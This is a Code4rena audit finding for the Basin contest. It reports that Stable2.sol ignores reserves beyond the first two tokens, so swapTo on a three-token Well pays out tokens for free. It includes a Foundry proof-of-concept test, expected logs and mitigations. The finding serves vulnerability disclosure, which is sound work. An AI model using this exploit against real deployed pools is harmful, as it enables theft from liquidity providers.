code-423n4 / 2024-07-basin-validation

0 stars 0 forks source link

Most functions of `Stable2.sol` are incompatible with `Well.sol`, allowing malicious users to steal funds. #103

Open c4-bot-4 opened 3 months ago

c4-bot-4 commented 3 months ago

Lines of code

https://github.com/code-423n4/2024-07-basin/blob/7d5aacbb144d0ba0bc358dfde6e0cc913d25310e/src/functions/Stable2.sol#L121-L124 https://github.com/code-423n4/2024-07-basin/blob/7d5aacbb144d0ba0bc358dfde6e0cc913d25310e/src/functions/Stable2.sol#L179 https://github.com/code-423n4/2024-07-basin/blob/7d5aacbb144d0ba0bc358dfde6e0cc913d25310e/src/functions/Stable2.sol#L252

Vulnerability details

Most functions of Stable2.sol are incompatible with Well.sol, allowing malicious users to steal funds.

Related Links: https://github.com/code-423n4/2024-07-basin/blob/7d5aacbb144d0ba0bc358dfde6e0cc913d25310e/src/functions/Stable2.sol#L121-L124 https://github.com/code-423n4/2024-07-basin/blob/7d5aacbb144d0ba0bc358dfde6e0cc913d25310e/src/functions/Stable2.sol#L179 https://github.com/code-423n4/2024-07-basin/blob/7d5aacbb144d0ba0bc358dfde6e0cc913d25310e/src/functions/Stable2.sol#L252

Impact

All calls to functions in Stable2.sol from a Well.sol deployment that supports more than 2 tokens will succeed without reverting, but result in incorrect results returned. This will break a number of functionalities in the contract. For example, a malicious user can request a swap using the swapTo() function in Well.sol and receive as many tokens as they desire without paying the contract anything.

Background

Well.sol is a constant function AMM that allows the provisioning of liquidity into a single pooled on-chain liquidity position. It is important to note that Wells.sol supports many tokens in it's functionalities.

There are many functionalities provided by a Well.sol deployment. Examples include: swapping, implemented in functions swapFrom() and swapTo(), shift(), liquidity provision, implemented in functions addLiquidity(), removeLiquidity(), etc.

All of these functionalities depend on functions located in the wellFunction() contract. This is a contract, such as Stable2.sol, which performs the internal calculations of the swapping or the liquidity provisioning through functions like calcReserve(), calcLpTokenSupply() etc.

However, Stable2.sol assumes that the Well.sol implementation only has 2 tokens. Furthermore, it does not revert if the assumption is false. In the following, we demonstrate how this can be used to exploit the calcReserve() function in Stable2.sol through a swapTo() function call with a runnable POC, but note that other functions are similarly vulnerable.

This is a vulnerability is due to the fact that the incorrect calculations do not revert in the Stable2.sol functions. Even if Stable2.sol was created with the intention of only supporting two tokens, it should still revert if it is mistakenly deployed with more.

swapTo() Exploit Description

In the swapTo() function, the function swaps amountOut of a token j to a user, and receives in return amountIn of a token i.

Benign Swap

To perform a (benign) swap, the following steps are performed.

This is the intended behaviour.

Malicious Swap

However, the swap can be exploited when the Well.sol deployment supports more than 2 tokens andStable2.sol is used as the wellFunction. Specifically, when a swap occurs and the token received by the user has an id that is not 0 or 1.

The reason for the failure is due to incorrect accounting in the calcReserve() function in Stable2.sol. In particular, calcReserve() assumes that the tokens to be swapped always have ids of 0 or 1. As evidence, while the reserve parameter can store the reserves of all of the tokens, the call on line 121 to getScaledReserve() function which normalizes the balances up to 10^18 only performs normalization for reserves[0] and reserves[1]. Furthermore, on line 124, onwards, the calculations (i.e. (uint256 c, uint256 b) = getBandC(a * N * N, lpTokenSupply, j == 0 ? scaledReserves[1] : scaledReserves[0]);) are only performed with the first two reserves (scaledReserves[0] and scaledReserves[1]).

The exploit scenario is as follows:

POC

Setup

TestHelper.sol needs to be slightly modified to support tokens outside of 0 and 1.

In particular, slight modifications need to be performed on lines 132 and 140.

...

function setupStable2Well() internal {
    //@auditor: Change deployMockTokens(2 --> 3)
        setupStable2Well(deployPumps(1), deployMockTokens(3));
    }

    function setupStable2Well(Call[] memory _pumps, IERC20[] memory _tokens) internal {
        // deploy new LUT:
        address lut = address(new Stable2LUT1());
        // encode wellFunction Data
        //@auditor: Add another MockToken address
        bytes memory wellFunctionData =
            abi.encode(MockToken(address(_tokens[0])).decimals(), MockToken(address(_tokens[1])).decimals(), MockToken(address(_tokens[2])).decimals());
        Call memory _wellFunction = Call(address(new Stable2(lut)), wellFunctionData);
        tokens = _tokens;
        wellFunction = _wellFunction;
        vm.label(address(wellFunction.target), "Stable2 WF");
        for (uint256 i = 0; i < _pumps.length; i++) {
            pumps.push(_pumps[i]);
        }
        ...

To run the POC, copy the code into a forge test file and run it. To see the logs, uncomment the assertEq() at the bottom and change the forge visibility to -vv or run with the forge visibility set to -vvv.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

import {IERC20, Balances, Call, MockToken, Well} from "test/TestHelper.sol";
import {SwapHelper, SwapAction} from "test/SwapHelper.sol";
import {MockFunctionBad} from "mocks/functions/MockFunctionBad.sol";
import {IWellFunction} from "src/interfaces/IWellFunction.sol";
import {IWell} from "src/interfaces/IWell.sol";
import {IWellErrors} from "src/interfaces/IWellErrors.sol";
import "forge-std/console.sol";
contract WellStable2SwapToTest is SwapHelper {
    function setUp() public {
        // init 1000e18, 1000e18
        setupStable2Well();
    }

    /// @dev tests assume 2 tokens in future we can extend for multiple tokens
    function testFuzz_swapTo(uint256 amountOut) public prank(user) {
        // User has 1000 of each token
        // Given current liquidity, swapping 1000 of one token gives 500 of the other
        uint256 maxAmountIn = 1000 * 1e18;
        //amountOut = bound(amountOut, 0, 500 * 1e18);
        amountOut = 157*1e18;
        console.log("Begin test\n");
        Balances memory userBalancesBefore = getBalances(user, well);
        Balances memory wellBalancesBefore = getBalances(address(well), well);

        uint256[] memory calcBalances = new uint256[](wellBalancesBefore.tokens.length);
        console.log("Token 1 Balance: %d\n", wellBalancesBefore.tokens[0]);
        console.log("Token 2 Balance: %d\n", wellBalancesBefore.tokens[1]);
        console.log("Token 3 Balance: %d\n", wellBalancesBefore.tokens[2]);
        console.log("Swapping token 0 for token 2\n");
        well.swapTo(tokens[0], tokens[2], maxAmountIn, amountOut, user, type(uint256).max);

        Balances memory userBalancesAfter = getBalances(user, well);
        Balances memory wellBalancesAfter = getBalances(address(well), well);

        console.log("Well Token 1 Balance: %d\n", wellBalancesAfter.tokens[0]);
        console.log("Well Token 2 Balance: %d\n", wellBalancesAfter.tokens[1]);
        console.log("Well Token 3 Balance: %d\n", wellBalancesAfter.tokens[2]);

        console.log("User Token 1 Balance: %d\n", userBalancesAfter.tokens[0]);
        console.log("User Token 2 Balance: %d\n", userBalancesAfter.tokens[1]);
        console.log("User Token 3 Balance: %d\n", userBalancesAfter.tokens[2]);

        //@auditor: Uncomment this to see logs
        //assertEq(amountOut, 1, "End Exploit");
    }
}

Expected Logs:

Logs:
  Begin test

  Well 1 Balance: 1000000000000000000000

  Well 2 Balance: 1000000000000000000000

  Well 3 Balance: 1000000000000000000000

User 1 Balance: 1000000000000000000000

  User 2 Balance: 1000000000000000000000

  User 3 Balance: 1000000000000000000000

  Swapping token 0 for token 2

  Well Token 1 Balance: 1000000000000000000000

  Well Token 2 Balance: 1000000000000000000000

  Well Token 3 Balance: 843000000000000000000

User Token 1 Balance: 1000000000000000000000

  User Token 2 Balance: 1000000000000000000000

  User Token 3 Balance: 1157000000000000000000

As demonstrated, the user's balance of token 3 increases (1000000000000000000000 -> 1157000000000000000000) while the contract experiences the opposite. Furthermore, the user does not lose amounts of any other tokens. This is equivalent to directly earning tokens.

Tools Used

Manual, ABAuditor

Recommended Mitigation:

Utilize reserve[j] and pass in i as a paramter to also use reserve[i] in all operations in Stable2.sol. Otherwise, save reserve[i] and reserve[j] as reserve[0] and reserve[1] (or vice versa) before calling any functions in Stable2.sol.

Conversely, there could be a require(j == 0 || j == 1) statement in all of the Stable2.sol functions, which would prevent the above from occuring.

Assessed type

Context